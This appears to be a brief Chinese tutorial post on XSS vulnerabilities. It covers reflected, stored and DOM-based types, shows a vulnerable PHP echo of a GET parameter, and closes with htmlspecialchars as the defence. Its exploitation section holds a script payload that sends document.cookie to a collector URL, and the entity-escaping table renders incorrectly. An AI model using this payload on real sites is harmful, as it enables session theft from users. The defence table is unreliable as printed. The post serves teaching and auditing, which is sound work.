XSS漏洞大致分为三种
反射型XSS漏洞
存储型XSS漏洞
基于DOM的XSS漏洞
反射型XSS漏洞
它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起该漏洞的触发
变量直接输出
<?php
echo$_GET['xss'];
?>
$_SERVER变量参数
$_SERVER['PHP_SELF'] 当前正在执行脚本的文件名
$_SERVER['HTTP_USER_AGENT'] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER['HTTP_REQUER']
$_SERVER['REQUEST_URI']当前脚本路径,根目录之后的目录
http请求格式
User-Agent: 可以通过User-Agent进行构造XSS
Referer: 可以通过Reference进行构造,主要是burp suite抓包操作,进行修改即可
利用
Ttest:alert('xss');
Cookie:
<script>var i=new Image; i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>
modify headers
存储型XSS
持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,若干没有过滤或过滤不严,那么这些代码将存储到服务器数据库中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,窃取Cookie等。
审计SQL语句:
主要是update 、insert更新和插入语句。
内容输入输出没有被严格过滤或者过滤不严!
防御
htmlspecialchars函数
预定义的字符是:
& ——————&
"———————"
'———————'
<———————<
>———————>
网友评论